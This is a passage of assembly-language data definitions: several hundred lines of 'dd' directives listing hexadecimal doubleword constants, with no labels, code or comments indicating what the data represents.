dd 7C4C6D85h, 0F2008761h, 0DF19D0D2h, 3D314621h, 4B1DB2AFh
dd 0C1A1CC93h, 7219A5B9h, 5505988h, 601D9FD8h, 5B16781Eh
dd 9831B60Ch, 671712Fh, 6E90D0h, 5DBBD7A0h, 5F543F25h
dd 0FD727C00h, 0AD39B7BFh, 20300DEh, 0CB90A6BBh, 5D3C3F6Dh
dd 81F50C1Ah, 0CE78EDh, 0A21B4C92h, 0A8279B56h, 5FDF88A9h
dd 7296E004h, 0F2690054h, 93BF0CA3h, 0B013B74h, 24B4336Eh
dd 31804761h, 996C4D1Ch, 0BB3FF1B3h, 9CD88F39h, 234C83E0h
dd 3468E596h, 4CB35293h, 0B546BBB0h, 1D6E10C0h, 0EFF06Ch
dd 11DA97A3h, 2CE7A045h, 0A612CC1Eh, 519A218h, 0D40784A8h
dd 0DBE81FC3h, 0ACE4A9C3h, 10C5B442h, 1052D122h, 18A0A661h
dd 24A0A30Dh, 5484B86Fh, 0A8F13C39h, 0EBF0150Ch, 1EF71710h
dd 8433E188h, 25489454h, 5008CA42h, 1D8A0757h, 9D0A30ACh
dd 9080C6Eh, 702448A0h, 6CA1A03Eh, 7B7851B5h, 428108B9h
dd 18202ACBh, 30BF3D28h, 54843776h, 50A024F1h, 0A8AD482Bh
dd 0A40A3954h, 61D965C0h, 6729C1AEh, 6E318603h, 2119948Eh
dd 3A081266h, 7738008Fh, 917109DAh, 903276h, 0CC07EE79h
dd 0D6C6795Bh, 23DC25D0h, 0F2EC00AEh, 352A3E2Dh, 0AF001C89h
dd 0A622F00Eh, 24638B08h, 9E240D7Ch, 562AFECBh, 0DEA215D4h
dd 0C703F8EBh, 6A5F0673h, 0AD81F0E7h, 19FC333Eh, 99A75A0Fh
dd 30EA20CBh, 4FF9867h, 36242C34h, 512480BCh, 0AB010462h
dd 0CB14C703h, 2A60A5F9h, 13B20097h, 9F5E6695h, 6926A873h
dd 0AD01D92Dh, 1D828B7Dh, 0D4001C5Fh, 0C29304B5h, 3D01387Fh
dd 453B4721h, 9640A850h, 67B051h, 1D8379D9h, 0CB8C9DF4h
dd 36DD7F37h, 5BF9C850h, 0E4EA004Ah, 0D8BA31AFh, 1400E5EFh
dd 6E89EB8Dh, 637B30ECh, 5CD6D8AEh, 0BD115018h, 205E6A0h
dd 55565D06h, 1480D064h, 0CB8D0A5Ch, 6942C114h, 0DC960E34h
dd 0F77BE024h, 7CCE454Eh, 5AD60054h, 0B482BB8Ah, 5071359h
dd 87800465h, 0D4FAD60h, 0ED4D00C9h, 1AF61F8Fh, 0A10077DFh
dd 73CAD9E1h, 0C1AAE8EAh, 0ABE77FB8h, 98B986h, 0B0F0BC9Fh
dd 90C1D923h, 15F90FD5h, 0BC0BA2Eh, 90EA9D7Eh, 0CBE3FB06h
dd 2880F7AAh, 168EC8Fh, 0AD126707h, 5CCA98C8h, 5E057240h
dd 95D03CCFh, 0D880C800h, 1FF6DCh, 84733427h, 16588EDFh
dd 0CAAFC00Ah, 86BBC0E7h, 0E6F14E2Dh, 0A4AC3010h, 71778DB0h
dd 0BA17C900h, 0C28AB078h, 5E730386h, 289EA1E9h, 38011877h
dd 2AE127B8h, 8DD03246h, 677072CEh, 0C3DD2104h, 0C0BF8B96h
dd 0A19157E8h, 7CCF1701h, 8CFCDA43h, 40B5309Fh, 0EC8E78B1h
dd 8400109Dh, 0C4890CC3h, 3DC061D4h, 88098D6Dh, 0F1803CDEh
dd 0A80602F8h, 0BE8E8700h, 0C655BFE6h, 80E2604Ah, 0CCFBA411h
dd 0BCFE5600h, 21347991h, 3D43EE1Ch, 5D80F4F5h, 0B54477C8h
dd 3A009561h, 664041CAh, 0C4DB9Fh, 6CBC15FFh, 0AB7EB0A6h
dd 0A1FC5E00h, 436F663Ch, 0C7B00E7h, 8A5145ADh, 1F02E2BDh
dd 57D1DD4h, 0CFFA60AAh, 0F63C0044h, 0A799A5C9h, 0DD005707h
dd 30252135h, 0D48D7Dh, 0CEFA9D93h, 0AD713CA8h, 1E12000h
dd 43B8C223h, 0C310039h, 0E7B51B94h, 3800C8C1h, 0A6AD709Ah
dd 0E0F73347h, 789600EFh, 0CFF8D6BBh, 67018E62h, 5049AC8Ah
dd 2AF4244Dh, 0DD47006Ah, 0FB8F9EA7h, 7600B5B6h, 0AADEDBF0h
dd 0E07321E9h, 0FFD40196h, 93EE4EC1h, 0E0708097h, 770A3742h
dd 30D9567Eh, 55667104h, 6F247085h, 597606B4h, 0B0E20178h
dd 7E37CC00h, 0B87F5268h, 0C8CE3012h, 0D50CF430h, 0E09E221Fh
dd 0FF83399Fh, 0E308CAh, 944F8398h, 0E863F58Bh, 920389B8h
dd 9976BCF8h, 8A40004Dh, 506E81DEh, 0CE0146C3h, 3A179CB5h
dd 9450FC5Dh, 61B4A0F3h, 0FDF651DCh, 8BD0F3DAh, 0DE3FC277h
dd 735100A4h, 0C81A2BBFh, 44DF0162h, 9EAFCB2Dh, 952270E2h
dd 2083BA00h, 3CF254Fh, 68BD073Fh, 0F05CED4Ah, 0D05802ECh
dd 76E03750h, 0B50575FCh, 0EFA74267h, 0C0DC1DFAh, 0D9CFB864h
dd 510027E7h, 8EE876AEh, 0C32A3B6Dh, 0A54FAB78h, 57B73FE8h
dd 0A9A448A8h, 410E7B72h, 40D3C144h, 738170F3h, 0D29C0119h
dd 7F693B3Ah, 0F0BF21h, 0D338DC7Bh, 7B53117h, 0EB1C7CB0h
dd 40CB55D7h, 183E8CCh, 0C807379Ah, 0CFEC6584h, 81E3D080h
dd 0EC935042h, 0C33E79FCh, 90334031h, 144B171h, 35960A22h
dd 30C44C30h, 0B7E582B8h, 0A5860401h, 6AB232CDh, 0E185F840h
dd 34230615h, 0A8F6EC77h, 1C09980Ch, 0F35D206Bh, 0A83F6E60h
dd 3ACDC84h, 773BFD03h, 3104F79Fh, 53BD4961h, 0C5E52080h
dd 0A58701A6h, 0A4D9A769h, 213422FCh, 36AE0032h, 7094A3Ah
dd 1681CA15h, 0FD1002D0h, 41279754h, 0C42B2591h, 0A5A04012h
dd 7978EAA6h, 5E02A9DEh, 99E877C7h, 9418E908h, 0BC2C2B00h
dd 0DA6FF9C0h, 3881005Bh, 74173EFh, 0A0A88CADh, 0B50D6D1h
dd 1800CC99h, 11AF68C8h, 582036E4h, 2F008DFAh, 0E61459D5h
dd 4836447Ah, 81B838B5h
dd 64C4ED04h, 0FA60E1Bh, 3620A4FCh, 1E08187h, 0BC8BA900h
dd 9A09CC60h, 4920048h, 0A31BB8B7h, 0B200E8A4h, 0E188B071h
dd 0B8D2A87Fh, 3E830358h, 4298A52h, 0E0BBCFA0h, 84806A00h
dd 2B5A60BEh, 50C2037Bh, 9D07C156h, 49FB4800h, 1D08A80h
dd 7DBB011Dh, 3F2673BFh, 4F12FCFAh, 0E7A85500h, 6FA5E2A9h
dd 4ADD0040h, 0BE2D49EBh, 0E01695DAh, 0FA00351Dh, 0A5A9E615h
dd 28740119h, 0AB6A6FA1h, 485180B1h, 0C80816BFh, 0BAA03CDFh
dd 794FF0Ch, 0D1000410h, 8EF358B2h, 0C57C956h, 0DD50EA60h
dd 8655E61h, 484030B1h, 0B7BA6E7Bh, 83AE0337h, 7C595739h
dd 0C2B9C800h, 71DF605Ch, 0E8A300F6h, 0F095825Eh, 0A474A5B4h
dd 0C0080A4h, 264E3D48h, 7F6D6AE7h, 0EC4B00E0h, 0D27FC7BFh
dd 7D009D3Eh, 0FBA5A89Ch, 7C8E8Ah, 8FEE4884h, 7635CE85h
dd 9EF35018h, 0E4E858h, 311B05F8h, 2C90C738h, 2F070F01h
dd 92581E64h, 0B888A3E3h, 414262h, 55CA487Eh, 0BE3AC326h
dd 2BB1DD00h, 9EB6EB50h, 711B73E3h, 2488F03Eh, 538CEEh
dd 8F39EDDCh, 0B100FBF1h, 0F72561A1h, 7AE0DF6Ah, 58690062h
dd 1794518Eh, 84019ED7h, 6B2B0424h, 87F8E0D6h, 0C898007Bh
dd 5B7FFC4Dh, 5E3A2307h, 8400FDB7h, 0D6E203BCh, 0A8890Eh
dd 0B915FCC4h, 2EA4CE44h, 0D8001379h, 0C198C7B4h, 6EB72499h
dd 0A5C04A42h, 4EE1E05Bh, 0BEF6047Fh, 5F134000h, 0E52AF14h
dd 1140BFE6h, 760C5B6Ah, 0E8B35615h, 0E1BC00BEh, 228C8F7Ah
dd 0BF781FBDh, 4203329h, 63E0005Ch, 2C9A96CFh, 0D200094Ch
dd 92D32FABh, 0F10681h, 55C71432h, 2B4CE3DCh, 30865D00h
dd 61A7121h, 1DFDE887h, 7C3D1CBh, 131933h, 59010E8Dh, 338203Ch
dd 85EBED94h, 0EC28F85Bh, 0A4B600CAh, 0E449F2D9h, 4B001560h
dd 8E11544Fh, 1B3204h, 303329CFh, 0C91C5C48h, 9613DC05h
dd 81FB2CEFh, 3031D7C5h, 5C003CB3h, 0F12F08AFh, 718CCCh
dd 0F7B1C873h, 28A8B8FAh, 0F2942A00h, 8374AB9Dh, 7CAC0393h
dd 45CB63A3h, 0E926C188h, 3D0A6500h, 98DF25B9h, 0EF7A00FFh
dd 0AF470FA3h, 0CC001E30h, 76649204h, 26E16935h, 1F7A2A4Ah
dd 0F175808Bh, 2D92AF88h, 0A05C4200h, 9C54EEE0h, 28EA6036h
dd 0C40DD5B5h, 0E13D4400h, 0A3C9EB25h, 0EE020130h, 6A59733Bh
dd 2143F8F0h, 270099E8h, 87033CAEh, 74B311h, 0A2AAC369h
dd 4B8D3976h, 0FF581926h, 0ED124E00h, 0C7DD4A92h, 0D01F3A68h
dd 3C6EBF93h, 9636E500h, 68C65C46h, 33F1009Ch, 1C94590Dh
dd 47001069h, 4B8ABF22h, 0FF0A5Bh, 0F229A684h, 5740DDA7h
dd 0BE7D2500h, 41A032B5h, 6471001Ah, 56B80C06h, 0D105472Ch
dd 0BC659CAAh, 0ED9022C0h, 6BA0009Fh, 0C7072858h, 5F07FEB0h
dd 0F9BFBB01h, 0AFE9A01Eh, 14C7C3Ch, 8A0FF30h, 0DCC1868Ah
dd 0B800EE96h, 0EDDB8F93h, 0AE9FE59h, 6C061D36h, 3C6900C7h
dd 6656CC5Ah, 8CBA4900h, 0A5C470A6h, 0B97A40h, 0D9BBE472h
dd 0E6EA7F1h, 8E46B312h, 0DE396E01h, 89F8256Bh, 0F46D003Eh
dd 8AFDCD62h, 0D671B14Dh, 0BC0015EEh, 0F53A9219h, 1C33F82Fh
dd 0C0916E24h, 22F3B946h, 19E674E0h, 0EC9EB00Bh, 2EE0833Bh
dd 4BF5A884h, 3E3DE293h, 0E909B160h, 5B807A4Eh, 9C67687Bh
dd 0E841D00h, 0CE810845h, 66780026h, 0AC7B729Bh, 3F00E692h
dd 8A6F54E7h, 7C234Ch, 0C3A862D3h, 5891D7C1h, 0B04A3B00h
dd 0F14497E2h, 0B81F006Dh, 41B2DBFFh, 70ECDE5h, 6F3FBDh
dd 77541A25h, 59FC00B3h, 7B791E6Dh, 0E4009558h, 72C88348h
dd 90372DCDh, 53A70052h, 5C158724h, 570026D2h, 0EDD1FBC8h
dd 0E4A39B0h, 36C2ABDAh, 967FB2C0h, 513D8068h, 787E8076h
dd 2B6D986Ch, 0F98F00B0h, 0A90DE71Ah, 0F60B701Dh, 6874B0Eh
dd 0B0F460h, 3ADBD865h, 2E8603E3h, 31B82A1Dh, 92FA9D00h
dd 1EC2041h, 99228228h, 0E883BFFEh, 86037A37h, 0EEC6D7E9h
dd 0CF30881Eh, 0DE950061h, 3DF916FCh, 640F2EF6h, 60D05B94h
dd 0AF80100Eh, 3230008Eh, 379543B3h, 0B10ED2BAh, 0E71F818Ah
dd 8780D4BBh, 9A65C5h, 73E67F93h, 0CFABB985h, 919CE050h
dd 958D3400h, 0DFB6F079h, 8444004Ch, 0D143515Fh, 3100CBADh
dd 8A495E36h, 1D688Fh, 0FD4DD412h, 52FEC3D0h, 53E9801Ch
dd 32D76980h, 0EF59035h, 0BF9F05C8h, 7D7B2EA0h, 9600E5E6h
dd 1A0EFB43h, 0BF3A944h, 98592411h, 0B3D31F01h, 12EB7053h
dd 0B146E700h, 0D061CD29h, 96707DDh, 10402ED6h, 366A3593h
dd 266BBF00h, 0C1D04EE0h, 9B7101D2h, 28B8562Bh, 7B10E0BDh
dd 5E67BB03h, 0B83D6032h, 1CE1D1Eh, 0CA2D5786h, 2490C83Eh
dd 9B00475Ch, 8838FE8Bh, 1D0B106h, 0AE8D5CAFh, 3029ADE3h
dd 0E503FDD0h, 2E4E6B48h, 4D289005h, 86A60B66h, 0A200943Fh
dd 4E4974CBh, 10545901h, 0B4E4BA8Bh, 7BBD21C8h, 2AE8008Ch
dd 4C88DDC6h, 5C00EAB1h, 0B4CC06D5h, 0A02264h, 12187B91h
dd 1E8862A5h, 0B5E2A800h, 46C8B187h, 41F266h, 5A0D9186h
dd 0BFA143Ah, 0BE993E00h, 6A800648h, 5224005Ch, 674AA725h
dd 390F90F3h, 9EFA88D2h, 0C454C9h, 3D346588h, 27A00EBh
dd 6BF336EAh, 5A00D620h, 3BA8BA41h, 91E65Dh, 0BD32C0A4h
dd 36281430h, 5E0ADD00h, 0AF34AA8Dh, 5280000Bh, 0A981475Ch
dd 7A003D6Ah, 0F335285Bh, 1F394683h, 47136D76h, 0EF80FF55h
dd 7168F6E2h, 0D97C39E0h, 0A8DB3903h, 97377670h, 9EA3D050h
dd 0B9D70B14h, 6A0E0333h, 0A565F380h, 0CE0012DBh, 0DAB0E115h
dd 1E8B2A25h, 80DE5BC6h, 0BF8750C4h, 0A0003CC9h, 0A102CFAAh
dd 0E4D0A3h, 60B6E7A4h, 5CDB5D22h, 15F7AC00h, 8FEAFE18h
dd 30B019Fh, 0F54851CCh, 9D9F4F1h, 7AA7CB00h, 529EDB2Ch
dd 2E1300A1h, 124FA241h, 5101FE0Eh, 38F362C8h, 0EEF4C319h
dd 0B0762672h, 2A9D8366h, 97A81551h, 6A5FF637h, 36E3B0h
dd 239438EDh, 8CFED4AAh, 90272C03h, 80DB8168h, 7F375Ah
dd 18767D94h, 4434032Bh, 921B820Fh, 0EEC19D93h, 0C70E17E8h
dd 4046DCh, 4FB4FD8Dh, 0E4EDAC73h, 0B0267F00h, 0AC8BA4Ch
dd 0A7E51DA3h, 679C4329h, 1FA08951h, 0D300ADF6h, 7D665A18h
dd 0CB8824h, 0B9C92640h, 634C0311h, 0D2F73D00h, 4757B1AAh
dd 7FF800BCh, 8B1472F4h, 2A00A1A3h, 0A738F9FFh, 0B570Dh
dd 0A6C9344Fh, 0C07DDCF1h, 8C104500h, 15AD2D95h, 0E3AECA5h
dd 229B678Dh, 0F0FA05E7h, 0D5E8C3BBh, 5EBDEC00h, 0BEB4A86Eh
dd 0CA0E0E6Fh, 0B6018EBh, 0A5A4CE93h, 899AD33Dh, 8FA87EF6h
dd 61B4A05Bh, 35E229h, 4A883C5Dh, 0D69E0ACBh, 0CCE5F901h
dd 64AACE2Ch, 9485C8h, 0C4FDFF0h, 0FFA67C02h, 0EE1F7100h
dd 1E413404h, 0F89700EFh, 116780F1h, 9A004C92h, 56C62BBh
dd 6A3AE9h, 0E84AD009h, 0B6EC940Ch, 670EC107h, 8570E4BCh
dd 517843h, 1F6BF490h, 364EA861h, 66281200h, 0DCCFC9Fh
dd 0E8D20355h, 0F87E0905h, 22027200h, 8B44A8A7h, 0D8C80092h
dd 5BDCC67Bh, 0B801B941h, 626D111Eh, 83CE526Fh, 0E84BE58Bh
dd 0C297F72h, 0B82FA131h, 101D4F60h, 911E19C4h, 0B266D00h
dd 0E83E9972h, 18CAE80Eh, 20B9EA17h, 0E11E7456h, 2B0F11C7h
dd 0ABC1DC9Eh, 6904005h, 0FA2960E4h, 0C94E007Bh, 0CC39E6B8h
dd 6D00B217h, 0DF09E8A1h, 0BBD563h, 14F08770h, 0B538E9A5h
dd 2D9738h, 6EE0C0BAh, 0C0188BE6h, 0ABD6A191h, 0E7E04E6Ch
dd 7D2CE00h
dd 0A804C8FBh, 9640002Dh, 98610B16h, 8830718Bh, 0EB9B3917h
dd 0BEE1C0CAh, 3E2BB619h, 58DE900h, 0B23B9D90h, 5B6B0344h
dd 218E7882h, 3054C097h, 46001197h, 43140AEFh, 0B815AA5Ah
dd 241F00A7h, 73C6A30Bh, 0D8008637h, 3FFD925Bh, 19EE71h
dd 0E5E9EABAh, 0C42C7649h, 0C4B6B00h, 0AC315E26h, 88190316h
dd 6C2FF971h, 75A99807h, 0BC20F568h, 0E19E069h, 73B05F2h
dd 96911360h, 3E009D45h, 0A5DCC16Ch, 3BD5F241h, 0C00CCEAh
dd 72CE846Bh, 3200F613h, 0A06FB5A2h, 0E730DEh, 785498A5h
dd 83D2272Eh, 3100B2E6h, 0F10468BCh, 0E2D9355h, 8580AB94h
dd 0A06C0073h, 0D3C816A1h, 88B0D10Eh, 636A4169h, 98307797h
dd 6DEC0718h, 6027377Eh, 3EFB74CFh, 0ACD0A116h, 36D3A000h
dd 137B2D1h, 6C59680Eh, 204D164Ch, 5E07C2F7h, 8E03EA5Dh
dd 97EC6B90h, 137602F7h, 9F166447h, 0CEFCA460h, 30C5500h
dd 5C62741Ah, 9D0D0E19h, 0B2495Ah, 1E7E9CEFh, 83001206h
dd 0FCBDF12Dh, 14CDA2Ah, 0A4432F10h, 80F2F989h, 0D76CAE36h
dd 2EE37B70h, 3D3CACh, 76869193h, 64EAF165h, 0FB573600h
dd 47CC2351h, 6AAE00CAh, 0C18EF403h, 0B2001410h, 4F3E1EDFh
dd 39C73537h, 0C80052A0h, 0B016FA9Ch, 5C098676h, 829034C6h
dd 48CBB230h, 74F138h, 628103DBh, 911331Dh, 61FDB600h
dd 3679F49Dh, 0C96F0F1h, 864FFBCCh, 5C7EB1FCh, 3B6EB21Dh
dd 19F14540h, 74A5E56Ch, 93650079h, 0CE0CD22Eh, 4A006DB7h
dd 9787CCFEh, 1C92E1F3h, 8DEC51h, 6CE0BB40h, 0FE006F38h
dd 22F46562h, 1FEA7064h, 3D7133Dh, 0F1481553h, 0D1F4590Ch
dd 7DB89968h, 1D07F35h, 43BFB0FAh, 0EC752466h, 69004E83h
dd 0CE158757h, 1CC484C2h, 0BEBA1394h, 0F25C478Ch, 3B008550h
dd 0B7B88CCCh, 6EE9864h, 32978D2Fh, 300020EFh, 8B85E5B3h
dd 2C24DA2h, 4506684Bh, 6A00F49Bh, 37844CEh, 0E2E1D910h
dd 0D818FC62h, 38B1E76Dh, 4ACA007Bh, 5EFE2F94h, 0EE000363h
dd 6EC2189Bh, 0FB9F68h, 22F1617Dh, 7C80DD2Dh, 72D83A1Dh
dd 7880E99Dh, 208F9948h, 97DB3B6Bh, 21C9188Bh, 93FA9B82h
dd 3FB0CDC0h, 74985000h, 485D1FD3h, 69A90F71h, 10E02309h
dd 13663D64h, 0C4260A07h, 2C90061Fh, 0E8DDC68h, 4681EE3Ah
dd 6EA60B80h, 89011DE0h, 39EA581Ch, 44F0E57Eh, 7ADE7CFBh
dd 7B8FA0C8h, 1FDD0081h, 7CA5E316h, 0D20C4327h, 85EDE3Ah
dd 49760Ah, 4DD9B61Fh, 0A3067CCDh, 15D87A00h, 0A571D509h
dd 0F9920088h, 9BD6DD66h, 0A30FF70Ch, 8C7414h, 34ECA568h
dd 0AB981F32h, 265E2C8Ah, 0BFCB00E6h, 134A902Dh, 85FC20C6h
dd 90686038h, 6FDAECF6h, 80076937h, 0D3558681h, 0C725430h
dd 7152CA73h, 21C07808h, 0E2D08E26h, 0FB9D005Fh, 666B8C36h
dd 60002508h, 0BB7E3AFEh, 98F63EAh, 0CD6D1D98h, 0F2184E0Ch
dd 72A61F0Dh, 2E604808h, 0E2A10787h, 76B6502Bh, 0E760095Dh
dd 5C6F9D21h, 0BF770046h, 7173933Fh, 8409CF25h, 0FDBD756Ah
dd 0DBB62180h, 7E0045C4h, 31CC03Dh, 3AB1170Bh, 0BB80AC4Dh
dd 0B6C382D1h, 0C600F55Ah, 85B764FAh, 0F0980F2h, 0D810B9FCh
dd 95EE20C0h, 0E1025125h, 1F4419FAh, 0A1E3C0B8h, 9B7B35h
dd 4D5930FFh, 0EC10B390h, 4F0D7A00h, 0A3A2CEF6h, 0DAA71E56h
dd 0B942405Fh, 222D946Ch, 44E97500h, 0F5581E3Ah, 0E0990037h
dd 0DC27AB0Fh, 420501DEh, 45AD1D09h, 240468h, 0A7C5B5A4h
dd 1EAFD091h, 303094F8h, 0A30D2129h, 339E4E9h, 0A8B69E19h
dd 0ACA29591h, 0E892CA20h, 391C0077h, 3E79CB6Eh, 961F53C4h
dd 0A181FD2h, 20811488h, 9501D0A7h, 6FD5CC90h, 92C043F4h
dd 0D714A0B9h, 64EC0358h, 0C4795296h, 0EAE02FDAh, 32761219h
dd 35088E00h, 50FF31A1h, 941D009Fh, 0F28F54F5h, 0C139AF44h
dd 7460877Ah, 0A46056F3h, 1DB95594h, 0C67221BDh, 9D48E6Eh
dd 207B5630h, 0BDB0B5h, 0D0DAA569h, 7AE87CBFh, 29F01000h
dd 0E72B9FB4h, 99620085h, 0F587D20Fh, 2AE2A471h, 9560101Eh
dd 3D149F00h, 0C692675h, 331E3646h, 60C07408h, 4A1A7FF5h
dd 0E3FE8Eh, 4E7C071h, 0D26156CAh, 90646B0Ch, 13F484Eh
dd 0B6973944h, 0F71EEDCFh, 0D009E7D1h, 0F200A85Eh, 9733353Fh
dd 19DC66h, 7FCF39C8h, 9CE009C5h, 96A420C0h, 0F82217B2h
dd 0D45A0005h, 0DDEB6F6Eh, 6D18F5E4h, 0A4688052h, 21500034h
dd 0CBB1102Eh, 0CCE20159h, 0A48980E9h, 2720FBBAh, 773A1EC1h
dd 0EEC28903h, 60ACEE80h, 0C610FB7h, 6D2A9428h, 3A246040h
dd 2757C42h, 3996DA0Fh, 9C895C53h, 0B0D8AF80h, 2000243Dh
dd 690B84ECh, 0A3577Ah, 7D22A16Ah, 5D3E9FD9h, 0A0118B1Fh
dd 8AE32B80h, 0AA7BAC5h, 0F3B747FBh, 81350018h, 693FACC8h
dd 88532E00h, 3634422Ah, 4BEE2C24h, 52FD02AFh, 0E3DF0EA5h
dd 0A169A05Fh, 1F6C7D95h, 362BA24h, 0E5E65B35h, 83A20AA1h
dd 86DBC858h, 296789BEh, 75B512C8h, 0CBCD038Bh, 2450E46Fh
dd 28354801h, 0D377D468h, 8EFC8h, 0EC254D1Ah, 0F5BD52D8h
dd 0C5BFAC00h, 0ADAB7483h, 60E035Ch, 7E98E287h, 24001873h
dd 331A4CB9h, 27404Eh, 9D840DBDh, 0E0580247h, 6E684F60h
dd 1939A29h, 2D4E79FEh, 0D0740B65h, 20C033C1h, 0F29A59A5h
dd 2890B3h, 0B80DAB0Ah, 232C49F7h, 19B49250h, 0EF22DE00h
dd 0CDFA5CB5h, 0ABFCDFh, 7A4A76A4h, 5E803411h, 0C1BDA700h
dd 0C5FF474Bh, 579A0A2Bh, 2CE369D1h, 41873ACDh, 30B00777h
dd 0B24BA22Fh, 0C708D263h, 46680089h, 99F00776h, 2E03D68Eh
dd 1F42FEF8h, 2989003Fh, 0D002E9BAh, 5C006A0Dh, 0A4D7B1B9h
dd 139387h, 5FC517B4h, 27BBD0F1h, 0A53C3F1Fh, 0EF2B20C0h
dd 582A48h, 0E7F9672h, 0FD1599FCh, 0E19A6300h, 0E8BA46E9h
dd 6C1D1FA2h, 0EC458051h, 64CC810Dh, 0C7B65200h, 0FB77A85Bh
dd 255400E2h, 0CB4DBBCEh, 8A7A71F1h, 0AB024200h, 983AF2B6h
dd 6012E8B5h, 8927204Eh, 8E038BE2h, 0ADB1EE3Eh, 401CDAFEh
dd 0E5D138h, 0FA9A5865h, 0FC0768CFh, 31615Ch, 6E8951F1h
dd 3FB92239h, 93005F43h, 4F247026h, 4E007A5Eh, 516996A3h
dd 0E8551AAEh, 11C500F4h, 0E69114D2h, 7E195F75h, 0F00824D3h
dd 0B332180h, 4ECEEB14h, 7068EF60h, 0EE553F8h, 863257F0h
dd 0DC9B0077h, 8F4B7108h, 14896700h, 0F555AF7h, 0D94600FCh
dd 7A90FDB1h, 59CE32FEh, 18E4855Bh, 4208444Eh, 3025E643h
dd 0F30B78CEh, 0F52131C5h, 0BD00A60Bh, 0AE055DB0h, 9A1DE77Eh
dd 74401D37h, 0FDC7DC1Fh, 0F0A2009Dh, 7DD1B367h, 6F033052h
dd 79FA7C2Dh, 56703960h, 8045E21Dh, 0CF40EBFBh, 0C0011522h
dd 97F6C707h, 0B4407EC9h, 0CF3CBDEh, 492519B9h, 1C0BEEA8h
dd 80B1282Bh, 602ED3D3h, 367C2Ch, 50F0A7EFh, 4CCE8EA6h
dd 2EA6E34Ch, 3609F8FCh, 0B614010Ah, 0C2364F7h, 96004123h
dd 8B023EBEh, 10ED86B5h, 98BFA57Bh, 2E3B00CCh, 0E623A9AAh
dd 541DA7FFh, 0A2C3D60Ah, 0E176459Ah, 0E880EF95h, 0AD042F65h
dd 7D0C68B9h, 83D1A58h, 50FD0077h, 4308CF4h, 7BF8A96Bh
dd 0B4D56D00h, 7D7549F6h, 5C3F01ABh, 133EEC5Dh, 0E1D45061h
dd 0A307B8DEh, 29FF9B20h, 0E9266610h, 0D8FE0681h, 284BE4DBh
dd 4C59F124h, 4D1BBF41h, 0E0B663CCh, 7721015Ah, 37A98708h
dd 44BC20BCh, 6B85C405h, 980410FAh, 0D4012982h, 0BBF3793Ch
dd 1DE58250h, 48A212DEh
dd 0CCB4664h, 64A4581Ah, 0EC1E94F0h, 86BE7C17h, 55D25C1Bh
dd 0A0455008h, 0C9FD0051h, 93A82418h, 190CE628h, 4866D0CFh
dd 62028C0Ch, 961A1E18h, 104A1929h, 172497h, 0BF419DC3h
dd 4F1163C6h, 0D597009h, 7B782403h, 5A8C2080h, 0F2412A0Fh
dd 0CD6421F8h, 64BFA98Eh, 6D6390D0h, 8810F116h, 729EAE0h
dd 0B358BED8h, 0DC8A86h, 39A07F77h, 10C2F8FAh, 0B321459Bh
dd 0A6FBD0FCh, 374046B9h, 85E0C028h, 90090495h, 42D31CC7h
dd 61067E12h, 0B1F5C713h, 9023D219h, 0D4242151h, 0DFF9F025h
dd 65DC0CC1h, 0C41E2F91h, 1780E0AAh, 0A195493Fh, 578E0373h
dd 0BBF2177h, 0CCDEF690h, 0B000EE74h, 18675542h, 0D38F2Ch
dd 0A9A2D5E1h, 219F8546h, 0CC842900h, 59542056h, 5D570098h
dd 0A25C1F80h, 0AF01790Dh, 0C9A3A16Ch, 41E01058h, 0D28F3008h
dd 0EB231749h, 0A4B17A00h, 2821A16Fh, 9C991FC7h, 401500DEh
dd 33CA83E4h, 8CAB9500h, 3E62AA32h, 4159C08Bh, 0D2CEDEE8h
dd 0A50F163h, 0AE0818E6h, 574B20ACh, 3383E000h, 0EFB90CC8h
dd 0DE7008Ah, 242E22E6h, 3603B634h, 0DF55D0B4h, 9856A8A7h
dd 4668C88Bh, 0D262F4C1h, 86D751C4h, 3B08520h, 0BA62F377h
dd 0BFE8EE78h, 0C40181E8h, 57921F7Bh, 2F208Eh, 0B00C1A5Ah
dd 0A901F78Ch, 4855D5F6h, 4420D761h, 8AA8A036h, 0D4DF0087h
dd 4DB8DA4Fh, 0CD66BBA6h, 1C49AA08h, 0BCD4E02Eh, 0C0D56400h
dd 81B00D5Ah, 8221AF60h, 0C7DD0557h, 9035E969h, 8D965AFFh
dd 80001DF8h, 1E0BB792h, 294C55B4h, 70789810h, 67428A19h
dd 5AF2E900h, 6D3A52DAh, 3C8D4803h, 95CC75ABh, 0B8218C47h
dd 5AA89341h, 0EA1824h, 64A38869h, 2CAC793Fh, 186AF63Ah
dd 80208415h, 0E7880068h, 49A653B4h, 3A7406A2h, 0B6361517h
dd 3BF30201h, 9C42574Eh, 0D4B733h, 6D7A0CCEh, 0CD1F42E9h
dd 2846ED39h, 39C08371h, 4C857D7h, 89533DFCh, 0B2C6068Ch
dd 7D083EAh, 0CBED6CC8h, 514C503Ch, 500909Dh, 12A1D8BFh
dd 0F5EF83h, 1EF06569h, 78DDE5A9h, 0A03E2B0Fh, 47B8BDAh
dd 1382725Bh, 0BAB28029h, 0CAA175h, 94FC179Ah, 9DEF8D2Fh
dd 218208CCh, 9AF458h, 0BF44DCCBh, 54A5817Ah, 25015198h
dd 63E3AA9Ch, 20E4A6A4h, 53050040h, 5E834981h, 0A807DDE4h
dd 0A4EB995Dh, 95509Ch, 23FE72A9h, 29D6F44Ah, 38085560h
dd 0BA4994h, 457291E2h, 336B3534h, 46983D01h, 8807D06h
dd 0CC0DECh, 0A875BBF1h, 0B7433FD2h, 0DE9BE8C1h, 0A080C081h
dd 0B8CC1041h, 9E3EB495h, 29DF0044h, 25CA1BD4h, 0A3C40208h
dd 0DC4DC64Bh, 8E609804h, 52EC6772h, 81D7308Ch, 7D2DB520h
dd 26E8FA1Fh, 2E03125Dh, 0BBA2DAh, 1FC5F041h, 0B6963E86h
dd 38E7FA03h, 0C339A77Fh, 8CFEF978h, 5900B0BEh, 0BDFA545h
dd 35001B75h, 0D16B22F6h, 6F0F73h, 0F8097ACDh, 8CCC2D42h
dd 4192A800h, 6508F0B1h, 7CEEE6Eh, 597537E1h, 0BEC50CCh
dd 19FE84DDh, 8889760Eh, 0F0B240B8h, 0CD9699h, 365A70BEh
dd 0C45E1F33h, 750C4500h, 3D825BAFh, 0F1A80095h, 0FFA3CF2Ch
dd 9D3AD55Eh, 0E2833DB7h, 87C660A0h, 5C70C3D9h, 8C3502h
dd 2D1D3C16h, 77B65FE2h, 281C6300h, 0D1C49AF0h, 5B0C07DCh
dd 60207481h, 0FE9E2EE2h, 864F7300h, 0E01454A6h, 39010040h
dd 0F01249B9h, 9830A362h, 8DBF182Ch, 60760120h, 825ECA46h
